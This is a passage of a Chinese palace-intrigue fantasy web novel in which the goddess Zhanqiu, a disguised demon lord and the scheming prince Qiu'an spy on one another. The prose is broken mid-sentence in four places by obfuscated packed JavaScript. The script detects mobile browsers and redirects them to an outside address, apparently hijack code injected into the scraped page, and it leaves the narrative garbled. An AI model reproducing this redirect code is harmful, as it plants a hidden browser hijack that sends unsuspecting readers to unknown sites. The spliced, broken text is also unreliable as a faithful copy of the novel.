“你不是最在乎天宫的利益了吗?可你竟然为了算计我,不惜错失抓住真正奸细的机会,找一个无辜之人来顶罪。” “裘安,你可真是一个道貌岸然的伪君子。” “无辜之人?”裘安淡漠道,“涂千羽起初是被我抓来被迫背上了魔族奸细的身份,可我后来也答应给她她想要的东西。如此公平的交易,她谈何无辜?” “至于我,伪君子……”他垂眸顿了顿,又走近几步,在斩秋面前一字一句地问,“我又何时说过,我乃君子?” - 殿外,灵衫见斩秋一脸阴沉地出来,连忙提步迎去。 “殿下,出了何事?” 斩秋扫了一眼一旁的百里及春,对灵衫道:“先回秋茗宫吧。” 灵衫默契地没在此追问,轻轻颔首走在斩秋身后。 为了方便将百里及春看在眼皮底下,斩秋特意安排他住在秋茗宫东配殿——齐星斋。 随意交代了几句,她便携灵衫往正殿而去,丢下百里及春一人矗在原地。 见她似打发累赘一般将他丢在这里不管不顾,百里及春的脸色瞬间阴沉得欲滴出水来。 驻足半晌,终究没能控制住,拔步便往外去。 待他行至正殿窗侧,正要继续朝大门走去时,里头谈话的声音徐徐传来。 “殿下的意思是,若他寻得苍竹,您与他的婚期便要提上日程了么?” 一语落下,迟迟不见后者回答。 窗侧的百里及春脚下一滞,眉宇微顿,不知在等什么。 直到片刻后,里面又传来一声很轻的回答,只道了一个字。 “是。” 闻言百里及春没有再往前,转身从另一侧绕到廊下,朝着秋茗宫北门而去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283019|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“没有回旋的余地吗?” 这厢殿内灵衫凝着眉,追问道。 斩秋缓缓垂下脑袋,望着地面上古老的花纹,眼底透出一抹回忆的神色。 上一世她与裘安的婚期最初定在一年以后。可那时裘安临危受命前往妄墟山,大婚之事便只能往后延了五年。五年后裘安归来时身负重伤,婚期再度推迟。 就这般再□□复,一次接着一次的意外,使得大婚一直延后了几十年。 从前不曾仔细想过,只觉婚事一拖再拖正合她意,反正她起初也不想嫁给裘安。 如今想来,这世上哪有那么多巧合,只怕一切都是裘安刻意安排。或许他也不想与她成婚,从前的百般讨好不过是为了瞒过天帝演的戏罢了。 可他为何在继位天帝之后还要与她成婚呢? 那时的他明明已无需再受任何人摆布了。 “殿下,您在想什么?” 灵衫的声音拉回了斩秋飘远的思绪。她回过神来,神情认真:“我在想……究竟是哪里不一样了。” “什么?”灵衫不懂,问道。 “自我在缥缈境苏醒以来,除了婚约一事没有改变,其余的一切都不同了。若换做从前,裘安不可能主动提及这婚期一事。所以我在想,这一切到底是从哪里开始改变的?” 见她一片愁容,灵衫不由也蹙起眉,心底思索着如何才能帮到殿下。 斩秋抬眸,看见灵衫眉头紧锁一副沉思模样,欣慰地展颜:“我都想不通的事,你就别想了。其实改变也并非全然不好,这样说不定裘旭和裘霜……” 说到此处话语一顿,目光变得柔软起来。 还有你,灵衫,你们的结局也一定能被扭转。 - 翌日清晨,百里及春方才回到秋茗宫。 只是他前脚刚迈进秋茗宫,身后便响起了一道戏谑的声音,使他脚步一顿。 “你不是玲珑吧。” 他自是认出了声音的主人,在这九重天宫,还有谁能对着他唤出“玲珑”二字? 心下一哂,百里及春不急不缓地转过身去。 哪怕是这样一张娇俏的脸上竟也浮现出一副张狂自负、唯我独尊的模样。 只是这轻视的姿态为何有些熟悉?裘安墨瞳里透出一分冷冽:“我还真有些好奇,这张面庞之下藏着的究竟是谁。” 说罢袖袍中的手轻拂了一下,好似下一瞬便要用法力现出他的原型。 百里及春却不以为意。 他并不在乎裘安看见自己的真面目,反倒还有一些期待他看见后会是何表情。 就在对面一道月白色的光朝他劈来之际,手腕骤然一紧,一抹熟悉的身影挡在了他的面前。 “住手!”斩秋大声喝道,另一只手朝上一挡,顿时逸出一道光芒,化作屏障向外击散了冲力。 今晨她本是去齐星斋欲寻百里及春询问濯奇的近况,孰料齐星斋里半点人影都没有,担心其闹出事端,她这才与灵衫分头寻找。 幸而她才刚走到宫门便找到了百里及春,只是没想到裘安也在此处。 百里及春的视线随着肌肤传来的温度向下移去,落在了斩秋紧握在他腕间的手上。 只听身前的她沉声开口,话声里盛满了怒意。 “二殿下,你在我秋茗宫门口就敢对我的仙侍出手,是否也太不把我放在眼里了?” 19. 第19章 裘安的目光从“玲珑”身上冷冷拂过,落在斩秋身上。许是对她将其护在身后的举动感到惊讶,又或是觉得刺眼,久久没有说话。 见他无言,斩秋以为他自知理亏,怒气消散了些许:“二殿下今日前来秋茗宫可是有事?若无事,便请回吧。” 裘安没有搭话,只是神色凝重地盯着某处。 斩秋顺着他的视线缓缓低头朝后看去,发觉自己抓着百里及春的手还未松开。不由眉尖轻蹙,好似烫手一般连忙将手撒开。 手上突然失了束缚,但腕间的肌肤依旧传来一阵密密麻麻的温热。 百里及春垂下眼帘,目光朝手腕扫去,敛起眉抿唇片刻,慢慢收回手落于身侧。 当斩秋再次回过头来,对面已然不见裘安的身影。她四处张望了一番,确定他已经离开后,转身质问起百里及春来:“你去哪了?我不是和你说过要老老实实地待在齐星斋吗?” 教训的口吻入耳,百里及春不由感到荒诞,面色又恢复了以往的冰冷:“本座来天宫本就有要事,何以老老实实待在齐星斋?” 他似乎刻意加重了“老老实实”四字,说完面上一哂,追问一句:“你莫不是真把本座当成任你差遣的仙侍了罢?” 被他这么一问,斩秋面露几瞬尴尬,借口道如此是为了他的安危:“我是看你暂时法力被封,对这天宫又不熟悉,恐会陷入危险之中,这才安排你暂且待在齐星斋。” “在秋茗宫内,你可随意走动,但是出了秋茗宫,你的一切行动都得由我陪同。” 能将监视说得如此动听,百里及春倒也是头一回遇见。不过他并未反驳,反倒很受用地点了点头:“好,本座现在便要出去一趟。” “你不是刚回来吗?” “突然又有了想去的地方。” - 彼时,九重幽境。 裘旭自昨日从万虚殿出来,便立即回到了当日斩秋为其设阵之地。他静静地注视着地面阵法留下的痕迹,目光愈发沉重。 就在这时,他的身后忽然传来一唤。 “阿兄。” 回首见是裘安,他的目光瞬间柔和起来:“安儿,你来得正好。” “过来瞧这儿。”他招手唤其来到身旁,指着前方的地面说道,“先前我一心只想着如何审问出涂千羽背后之人,疏于查看这阵法之地。今日仔细查看一番,才发现此处有异样。” 说着指尖一点,地面阵法的边际便被一道赤色的光圈起,他继续说道:“你看,这阵法边缘的痕迹呈鱼纹状,而非用除行术解开后的盘云状。” 那日斩秋布完阵后将破阵的除行术教与他,他又将此术教给了裘安与邬霖。而发现涂千羽之时,正值邬霖看守此处。 他回忆道:“那日邬霖说他发现涂千羽时她受伤昏迷其中,随后用除行术将阵法解开才将其带出。可这破阵后的痕迹与他的说辞对不上,我觉得……” “阿兄可是怀疑我?”裘安出声打断道。 裘旭闻言愣了片刻,反应过来后连忙否认:“安儿,你误会了,我只是认为此事仍有异处。” “阿兄若认为邬霖有问题,便将他一道捉拿审问罢。”裘安眉心微蹙,神情有些受伤。 为了不落人口实,那日他抓来涂千羽将其扔入阵中之后,特地再施了一道阵法,随后又将裘旭遣散的天兵召了回来,让邬霖当着众人之面破阵捉人,如此便有了诸多人证。 但他的阵法到底不是斩秋的逆生阵,故而破阵后留下的痕迹自然也与逆生阵不同,可谓百密一疏。 他倒是未曾想到裘旭会察觉到此处,毕竟裘旭也只是从斩秋口中听说此阵的情况,并未真正见识过。 裘旭面色略显为难。邬霖是裘安的神兽,若当真是邬霖出了问题,裘安也难逃罪责,这并不是他想看到的。 看出他内心的纠结,裘安唇边划过一丝不易察觉的弧度,顷刻间又抬起眼眸,神情恳切地问他。 “不过阿兄可确定这阵法解开后边缘将呈盘云状?会不会是斩秋与阿兄交代时说误了呢?邬霖毕竟是自我回天宫后结识的第一个人,虽为神兽,但我一直将他视作伙伴,我不想因此误会而寒了他的心。” 听裘安如此说,裘旭有些动摇。 他抿了抿唇,心中思索片刻,决定相信裘安的说辞。故而就坡下驴,温和地笑了笑:“安儿说得有理,许是我记错了。” - 入了朝云门,一路向东,绕开席月斋,通过南青殿往西,最后穿进回廊来到朝云殿后方。 斩秋就这么跟着百里及春来到此处,望着四周熟悉的景象,不解地看向他。见他大有翻进去的趋势,连忙伸手将其拦住,她压低了声音:“这可是裘安的寝殿!” 百里及春没有说话,只斜睨了她一眼,冷淡的神情仿佛写着“那又如何”四个大字。 斩秋正打算说些什么劝阻,前者却已甩开她的手,利落地跃身翻了进去。 说到底百里及春是她带来天宫的,出了什么事都与她脱不了干系。事已至此,她只能在心底狠狠咒骂一句,随后跟着翻进殿内。 这间寝殿,她曾来过无数次,这里的一切都与她记忆中的模样无二。 不过眼前百里及春这副轻车熟路翻找东西的身影倒是稀奇,引得她眉尖轻蹙:“你对这里似乎很熟悉。” “莫非你不是第一次来天宫?不然你是如何知道避开朝云宫守卫的这条路的?” 百里及春甚至没有回头看她,目光集中于自己身前翻找的箱柜,若无其事地回道:“回答你的问题也是我的职责么?” 斩秋闻言一哂,索性甩手站在一旁看他将此处翻个底儿朝天。 虽不知他要找的是什么,但就这么看着他从床头找到床尾,又从柜顶翻到柜底,也是颇为有趣。堂堂一界魔尊,竟在九重天宫做起了小贼。 想到这里,斩秋唇边不禁漾起一丝奚弄的笑意。 一盏茶的功夫过去,他似乎仍未找到他想要的东西。斩秋终于看不下去了:“你到底在找什么?” 百里及春没有搭话。 “我不问你它是什么,你描述一下它长什么模样,我帮你一起找岂不更快些?”她仍未死心,又补上一句,只是百里及春对她所说的话充耳不闻。 斩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14283020|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋忍不住低声喃喃:“他的寝殿我可比你熟,找起来定是快多了。” 孰料这时百里及春倒有了反应,好像终于能听见她说话似的。 他突然停下手中动作,缓缓转过身来,安静地看着她。 斩秋被他盯得有些背脊发凉:“你这么看着我做什么?” 听她这么问,百里及春方才轻轻收回视线看向别处,身体却依旧未动,好像又不着急了。 斩秋就这样看着他静驻着,半顷,听他冷不丁开口:“长圆状,一掌宽,在光线下呈金色。” “什么?”她一时没反应过来,刚说完便再次对上百里及春清冷的目光,只听他道,“你不是要帮忙找么?” 哦,找东西啊。 斩秋点点头,在记忆中搜索任何可能藏放东西的地方。最终将整间寝殿寻了个遍,也没寻到百里及春口中那个长圆状之物。 不过,还有一个地方没搜过。 ——裘安的密室。 斩秋一边想一边走到打开密室的机关面前,正准备按下机关,心中浮起一丝犹豫,转头看向背对自己的百里及春,皱起了眉。 虽然裘安之于她是仇敌,可百里及春呢?他是敌是友也尚且难辨,如此就将裘安的密室暴露在他面前,是否会给将来留下隐患? 这么想着,抬起的手渐渐放了下来。 就在此时,门外忽然响起一阵急促的步履之音。 斩秋瞬间打起精神,转势便欲逃走,可眼下的情形,翻窗显然已经来不及了。她没时间思考,旋即上前拉过百里及春,按下机关。 顷刻之间,二人已从明亮的宫殿来到了阴暗的密室当中。 靠在与寝殿相接的暗门上,可以听到门外的声音。只听此时门外的脚步声停下,随之响起一道熟悉的男声。 “你们在门外守着。” 是邬霖。斩秋心中微动,竖起耳朵仔细听着外面的动静。 只听他推门步入殿内,急促的脚步声朝着他们所在的方向而来,最终在暗门外停下,此刻他们只有一墙之隔。 门外乃是一个案柜,自上而下共分四层,而打开密室暗门的机关在第二层书卷后。 邬霖走到柜前,伸手缓缓向前探来,原本已握在第二层拉手之上,突然停顿了一下,转而向上打开了另一层柜门。 柜内亦有机关暗格,只听他按下什么,柜身倏而一震,细微的木器摩擦之音在耳边回响,没过多久便恢复了平静。 邬霖取走柜内之物后没有停留,很快又迈着急切的步伐走了出去。 见门外步声已远,斩秋才放下心来:“人走了,我们出去吧。” 说完这话她才发现,身旁早已没有百里及春的身影。他不知从哪儿点起了火光,正在前面案桌处查看着什么。 “我们不能留在这里。”斩秋脸色有点难看,出声提醒道。 “为何不能?”百里及春应声回首,盯着她那张略显慌张的脸,莫名笑了笑,在微暗的火光之下透着几分邪魅的气息,一如他沙哑的声音一般令人心底生寒。 “托你的福,说不定会有意想不到的收获。” 20. 第 20 章 “我不该带你进来的。”斩秋的声音一瞬间冷肃许多,转念又道,“不对,我一开始就不该带你来天宫。” “听你的意思,你生气了,”百里及春依旧微笑着,笑声里掺着些许鄙薄之意,“因为被本座发现了裘安的密室?” 斩秋听着敛了眉,如今裘安于她而言不过是一个势必要铲除的祸患,他的密室被人发现又与她何关? 她忌惮的不是裘安有何不可告人的秘密在这里被百里及春发现,而是百里及春本身——阴晴不定,喜怒无常,让人根本看不透,如此最是危险。 见斩秋无言,百里及春脸上的笑容逐渐散去:“倒是差点忘了,你们之间还有婚约。如此,本座倒是要好好斟酌一下与你结盟是否可靠了。” “你我之间并非结盟,而是交易。”斩秋纠正他的措辞,眼神微冷,“若你不做有损我利益之事,我们之间的交易自然是可靠的。” “是吗?”百里及春挑眉,眼神似是在质问她,既然如此为何不让他待在这里。 为什么? 斩秋陷入了深思。 因为如今的她不喜欢脱离掌控之事,也不喜欢脱离掌控之人。而就在方才百里及春不听劝阻执意留下时,她才意识到,百里及春占尽了这两样。 斩秋抬起眼,没有回答他的问题,淡道:“你要找的东西,我帮你找。”说着按下了机关,打开暗门,“出去等我。” 这一次百里及春没再反抗,拇指轻轻一折盖上了掌中火摺,缓缓朝出口处走来,略过斩秋时漫不经心丢下一句:“那便有劳了。” 上一世斩秋鲜少进入这间密室,印象较深的一次是裘安从妄墟山归来之后,他亲自将她带到这里,将相守玉系在她的腰间,当作定情之物。 当下她还打趣道,原来这间密室内装着这么多宝贝,可谓是他的藏宝之地。裘安也笑着应是。可是后来她才知道,涂千羽也曾被他藏在这间密室当中。 如今想来真是一阵恶心,她并不想在这里多待一刻。于是加快了动作,运用灵力翻找着任何符合百里及春所述之物。 约莫一盏茶的功夫,斩秋从密室中走了出来,对百里及春摇了摇头:“没有找到你要的东西。” 百里及春没有搭话,只是不以为然地颔首,好像早就料到会是这个结果。斩秋见他如此表情,不由得纤眉一蹙:“你不会以为我在骗你吧?” “本座何时这般说了?”百里及春不咸不淡地回答,随后若无其事地推开侧门走了出去。 斩秋连忙追了上去,本想再与他争辩几句,好让他知道自己没有徇私,毕竟她与裘安之间早就没有什么私情可徇了。但转念一想,她为何要百里及春自证清白?她又没做错。 是以,斩秋没再说什么,昂首挺胸地走在他身侧。 走着走着,她终于觉出些古怪。 哪怕她多活了五十年,想要绕开一切守卫自由出入朝云宫尚且费力。而如今跟着百里及春走,却是一路畅通无阻。 他似乎对此处的每一条路、每一道门都如此熟悉,仿佛已走过无数遍。 要说他在天宫内没有内应,她是万万不信的。 “你在天宫安插了人,那个人是谁?”走到甬道转角时,斩秋忍不住问道。 “你们不是抓到了么?” “涂千羽?”斩秋自是不信。再见他一副无所谓的态度,一点也不似自己人被抓走后该有的模样,便更加笃定他在撒谎,无奈翻了个白眼,“无聊。” - 罪仙塔内,凄惨痛苦的叫声在幽暗的空间里不断回响。仅仅是听见这般吼叫,便已能想到他们此时正经历着如何可怖的刑罚。 天帝虽未让涂千羽受刑,但如今的情形也差不多了。并非只有伤筋动骨才算惩戒,内心倍受煎熬也是一种酷刑。 涂千羽素白的衣裙早已染尽污浊,疲惫和恐惧爬满了她的面庞。到底是年纪尚浅的小仙,哪有不害怕的。可尽管她再害怕,心里也始终吊着一份念想,坚定地告诉自己,她没有赌错。 她一定会出去。 时间在黑暗中被无限拉长,她不知道等了多久,直到周围的叫声蓦然静止,只余一道浅浅的步声从不远处响起。 那步声很慢,却十分沉稳。不多时,悠悠停在她面前。 她缓缓抬起眼,视线从地面一点一点朝上探去,哪怕什么也看不见,却依旧能清晰地感受到来者身上强大的气息。 “殿下?”涂千羽颤颤巍巍地唤出二字,语气似是试探,又似期盼。 然而回应她的却是一片沉静。 虽然她看不见来者,但对方凭借神力却能清楚地看到她此刻狼狈不堪的模样。 一头长发被汗水沁湿黏在脸颊两侧,分明是阴寒刺骨的环境却也能冒出一身冷汗,想来是害怕极了。 身姿笔挺的裘安垂眸俯瞻着脚下女子,眼底冰冷得没有一丝情绪。过了一会儿,他终于开口:“你做得不错。” 听到声音的涂千羽眉间一动,眼里升起了希翼:“殿下!殿下您终于来了!我什么时候才能……” 她的话未说尽便被裘安不耐掐断:“眼下还不能让你出去。” “那……那要待到何时?”涂千羽的声音减弱了些,却依旧覆盖不住心底渴望。可惜她的渴求落入裘安的眼中,却成了掌控她的利器。 向来有所求者,用起来最是得心应手。 裘安在黑暗中扬唇看着她,如同施舍一般轻轻摊开掌心,将手中之物随意地抛落,瓷瓶掉落在玄石栏杆上发出两声碰撞的声响。 “这是答应给你的酬劳。” 涂千羽寻着声音在地面摸索着,指尖触及瓶身的瞬间一把将其牢牢抓在手中,身体激动地颤抖着。 “谢殿下!” 东西已经给她,裘安不欲久留,很快便消失在罪仙塔中。他一离开,先前在他周身用来隔绝外界的屏障随之消散,嘶哑的吼叫再度包围了涂千羽。 只是此时她的身体已停止颤抖,紧紧握着手中瓷瓶,眼底生出从未有过的坚定。 一直候在罪仙塔外的邬霖神色凝重。 殿下传音让他将灵元丹取出时,他原以为是有要紧之事,火急火燎便去朝云殿中将其取出送往幽境,却没想到此物竟是用在了涂千羽此等低微之人身上。 见裘安从罪仙塔而出,邬霖不住上前询问:“殿下,您当真把灵元丹给她了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14283021|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裘安不以为意,朝台阶下走去:“嗯。” “涂千羽不过一介不入流的小仙,且如今她已是弃子,您大可任其永困于塔中再不过问,抑或直接杀之,为何……” “谁说她是弃子了?”裘安出声打断,依旧没什么表情慢慢朝前走着。 “殿下何意?”邬霖疑惑,只听身前传来一句,“至少目前还不是。” 裘安停下脚步,回首朝罪仙塔的方向望了一眼:“灵元丹于涂千羽而言或许是脱胎换骨的神丹,可于我不过是增益些许修为。拿此等小物去换一个人的忠心,很划算吧?” “可是殿下,您怎知涂千羽一定会对您忠心?”邬霖自然信不过涂千羽,心觉殿下做了个亏本的买卖。 裘安闻言轻挑眉稍,心道她是不会对自己忠心,但她一定会忠于她的野心。复又看向邬霖满目愁容的模样,摇摇头岔开了话题。 “对了,你去盯一下斩秋带回来的玲珑,我隐约觉得此人……”裘安神情含笑,若有所思道,“或许是一位故人。” 翌日夜里,轻风溜过窗棱,扑打着书案上的纸页。 百里及春坐在案前,生出几许倦意,不禁放下手里典籍,轻轻阖目。然而这份清净很快就被一道不合时宜的声音打断。 只听一阵密集又毫无章法的叩门声伴随着斩秋的声音一同响起:“是我。” 百里及春起身打开门,低头望着斩秋:“何事?” 斩秋并未回答,直接从他身旁的缝隙钻进屋内,扫视着四周。目光瞥见一旁案上未合的书册,飞快地朝其走去,一把拿起书册翻了起来:“看什么呢?” 百里及春双手抱环虚倚在门边,对她打探的举动毫不在意,只是静静地看着她,眼底神色在月色的映照下竟显出几分柔和。 仔细翻阅了几页,见上面尽是一些上古时期的史事,斩秋顿时没了兴趣,随手将它抛回案上,转而回望百里及春,神情变得认真起来。 “这几天我一直没问你,濯奇怎么样了?他可有说些什么?” 百里及春放下手臂,直起身摇了摇头:“他和以往一样,只一心求死,其余的未言半字。” 听他这么说,斩秋眼底寒光闪动,声音沾染了几分明显的怒意:“他仍觉得此事是拿一命抵一命便能揭过去的么。真神与天地同寿,启是他一命便能抵的?” 不过她来之前便已料到濯奇不会那么轻易松口,故而今夜前来是为了让百里及春带她再去一趟魔界。 “我要见濯奇。”斩秋斩钉截铁地说道。 后者似乎知道她会这么说,脸上没有丝毫的惊讶,正欲开口之际,忽然察觉到身后气息,目光不着痕迹地朝廊下扫去。不知看到了什么,眼底浮上一抹嘲弄的笑意。 见他不回答,斩秋循着他的视线也欲朝外探去。仅瞥去一眼,什么都未来得及看清便被眼前人挡住了视线。 “要不要打一个赌?”百里及春突然问道。 “什么?” 斩秋不明所以,抬眸朝他看去,却听见“啪嗒”一声。 门被百里及春用力关上,清冷的声音从她头顶传来。 “就赌今夜,去不成了。” 21. 第21章 邬霖回到朝云宫禀报之时,裘安正写着要拿给裘旭的名单。听见门外的动静后,他并未放下手中毛笔,依旧心神专注于眼前之事。 “殿下,自昨日属下前往齐星斋起,玲珑一直待在屋内,未曾离开。”邬霖走进来,对裘安施礼禀道。 说来玲珑身为斩秋的仙侍,本应该侍奉在其左右,而她却闭门不出,的确不同寻常。 “是吗?就没什么特别之处?”裘安提笔蘸了蘸墨,视线始终没离开书案,不咸不淡地问着。 “确有一事。”邬霖回想着方才看到的景象,继续说道,“方才斩秋上神去了齐星斋。” 听他这么说,裘安握笔的手一顿,终于抬起眼看向邬霖,眼中有询问的意思。 “属下本想上前听清他们在说什么,可是玲珑突然把门阖上了。” 秋茗宫的每一座宫殿都被施以秘术,由殿门的开合为契。一旦殿门阖上,殿内便宛如被一层屏障笼罩,外界绝对无法听见里面一丝声响。是以他没有继续看守,而是选择先行回来禀报。 话音落下,裘安的神情变了。 纤柔的笔刷重重落在纸上,上面犹未干尽的墨汁在纸上缓缓沁出一道墨点。 列了许久的名单就这样被墨染得不再完整,他却浑然不觉,漆黑的瞳仁突然暗了下去,神色复杂。 见其面色阴沉,邬霖恐是自己办错了事,立刻垂首又道:“殿下可是觉得哪里有异?属下现在便回去……” “不必了。”他的话还未说完便被殿前的声音截断,再抬首时只瞥见自家殿下黛紫色的衣角从眼前闪过。 邬霖微怔一瞬,回神后才发觉殿下早已步出殿外。想起殿下方才所言,他不由得静默伫立,思考着自己是否该追上去。 “何故去不成?” 屋内,斩秋满目不解地问道。 白日里人多眼杂,夜里行动总归方便一些。而且她今日去了一趟幽境,以讨要先前约定好的灵元丹为由去寻裘旭,碰巧得知了今夜幽境调兵,南天门轮守时间有变。 亥时到子时之间,南天门只有结界为守。只要他们快去快回,便可做到不让任何人察觉,所以今夜是最好的时机。 百里及春不答反问:“你觉得裘安对你有几分在意?” 这个问题问得突然,斩秋不禁微愣,回神后更加一头雾水:“这和裘安有什么关系?” “他派人监视着齐星斋。”百里及春坦然答道,“而你半夜三更来到此处,如今与本座独处一室。” 他话时语气冷淡,可看向斩秋的目光却有些晦暗不明,惹得斩秋心下一阵怪异,随后立即将视线挪开,只听他继续说道:“所以今夜去不成魔界,裘安此刻应该已在来的路上了。” 此情此景若是放在上一世,倒是有几分人间话本上少女幽会情郎,却被家中指腹为婚的对象发现的模样。 可这戏码放在她、百里及春和裘安身上,便是哪哪都不对。眼前这景象分明是:一个心怀叵测之人准备前来打搅她与另一位心怀叵测之人之间的交易罢了。 思及此,斩秋深深吸了口气,振振有辞道:“我来寻自己的仙侍还需要挑时间吗?再说了,你如今也是女子模样。” 话虽如此说,但她心里也知道,如今自己还是先离开为妙,继而上前推开百里及春,伸手便要开门。孰料手指才刚碰到门闩,房门便被外面敲得阵阵响动。 斩秋眉心一折。 他怎么来得这样快? 斩秋登时朝旁退去,背靠未开的门扇藏匿于阴影之中。 与此同时,只听左侧的门被打开,裘安森冷的声音如同一把锋利的宝剑刺了进来:“她呢?” “二殿下在说谁?”百里及春面不改色地反问道,语气听不出任何情绪。 话音甫落,屋内顿时安静下来。二人四目相对,只见裘安那双眼睛冷得宛如冬日晨霜,透着无尽寒意。 百里及春见状,眼底闪过一丝轻蔑,继而侧了侧身,抬手作出一副邀请的姿势:“二殿下若是觉得这屋内藏着什么人,大可进来搜寻一番。” 他说得坦荡,似乎一点儿不也不担心裘安真的进屋,反倒是期盼着他能发现些什么。 然而就掩在一旁的斩秋却是目色一凝。 眼下她与裘安之间不过一门之隔。 百里及春的目光悄然挪到了斩秋身上,因他侧身而立,一抬眼便能看到站在阴影中的她,而她也正在看着自己。 两道视线相接,一道暗含警示,一道轻浮不羁。 一股凉风伴随着月光挤入屋内,泛起微薄的寒意。屋内除却纸页随风激起的摩擦声以外,静得没有一丝多余的声响。 裘安顺着百里及春的视线朝右边未开的门扇看去,目光冷硬得仿佛能穿透那道门窥刺到后面的景象。 驻足良久,他始终没有跨过那道门槛。 袖中握紧的拳头缓缓松开,眉眼也逐渐舒展。再次抬眸,裘安眸底已是一片清明:“玲珑姑娘如此坦荡,想来是我误会了。”说着往后退了一步,作势便要离开。 不知想起了什么,他忽然停了下来,含笑道:“对了,我观玲珑姑娘身无灵力,日后可要小心一些。虽然天宫之上戒备森严,但也处处暗藏危险。” 他的声音温雅柔和,宛如春日花田间含苞欲放的花朵。可是百里及春听得出来,他柔和的话语之下盛满威胁。 想来裘安已用神力探过,知晓此时他的本源之力被封,形如凡人。 回朝云宫的路不长,但是裘安走了很久。一路上如乌云压境,浑身散发着阴郁的气息。 一直守在殿门外的邬霖见到裘安归来,大步流星上前迎去。 走到跟前突然发觉原本身姿挺拔、气宇轩昂的殿下,如今低耸着肩竟显得几分落寞,他忍不住问道:“殿下,您怎么了?” “今夜斩秋不在齐星斋。”裘安顾自往殿内踏去,这般答道。 “可属下……”分明看见了。 邬霖面色一愣,片刻后反应了过来,站在门外颔首,纠正了自己的说法:“属下看错了。” 这一晚过后,斩秋得知裘安暗中监视着秋茗宫,接来下的好几日都没再提起前去魔界一事,甚至都未踏出秋茗宫半步。 直到宫中传来了天后寿宴的消息。 “你最近不是正忧心审问涂千羽一事吗,竟然还有闲心请我帮忙相看寿礼。”斩秋手撑在凭几上,狐疑地看着对面正襟危坐的裘旭。 她与裘旭的关系虽算不上势同水火,但也绝对没亲密到能像小姊妹一般商讨一起送些什么寿礼,故而裘旭今日前来定还有别的原因。 被她这么上下打量地盯着,裘旭有些不自在地垂首,随意抓起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14283022|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁的茶盏抿了一口,轻描淡写道:“涂千羽死了。” “死了?”斩秋目下一惊,猛地坐直身来,“什么时候?怎么死的?你们对她用刑了?还是有人将她灭口了?” 一连串的问题落下,裘旭喝茶的动作迟疑了一瞬,继而抬起头:“你很在意她?” 短短几字将斩秋问得一噎。 她的确在意。 上一世将她害得那么惨的涂千羽,这一次竟然就这样死了? 她不信。 可这些自然不能让裘旭知晓,继而垂下眼眸,绕开了话题:“今日你是来替裘安来的吧。” 当今天后并非裘安生母,虽然裘安平日里也端着一副孝子姿态,但是每逢天后寿辰,他便总会发生些意外无法赴宴。 回想从前他们的婚事也是这样一次次被“意外”推迟。不得不说,他逃避事情方式倒是向来只有这一招。 想到这里,斩秋忽然冷笑一声:“你不用费心了,反正他也不会去的。这些年你替他准备好的寿礼,到最后哪一次不是入了他的私库。这知道的是天后寿辰,不知道的还以为是他二殿下过寿呢。” 斩秋越说越起劲,丝毫没注意到对面裘旭愈发变黑的脸,又想起什么,忽而望着桌上被咬了一口的桂花糕窃笑:“不出意外的话,他很快就出意外了。” “斩秋!”裘旭沉声怒叱。 “我又没说错,你瞪我作什么?”斩秋回敬他一个凶狠的眼神,“你与其在这和我商讨送什么礼,倒不如回去好好看着裘安。” 自那日裘安在殿上请求将婚期定下之后,裘旭便认定了斩秋乃裘安心属之人。既然如此,她的话或许对安儿管用,这才来寻斩秋意欲让她拿着寿礼去和安儿好好劝解一番,不料斩秋的心意却不相同。 是他想岔了,或许他本就不该来此。 裘旭长叹一息,拂袖起身便欲离去,可这时斩秋在他身后唤道:“等等。” 择日不如撞日,他人都来了,可不能错过讨债的机会。斩秋看向他,微笑道:“我的灵元丹呢?上一次去幽境你就说还未取到,要过几日给我,如今可是过了几日了。” 提及此事,裘旭肃穆的脸上浮现一抹愧色:“我的确去寻了元离神尊,可是神尊手中的那枚灵元丹早在几日前已经转赠给安儿了。” “裘安?他要灵元丹做什么?” 裘旭垂眸摇首:“我答应你的事没有做到,真的很抱歉。但是我一定会想办法弥补的。” “你怎么弥补?” 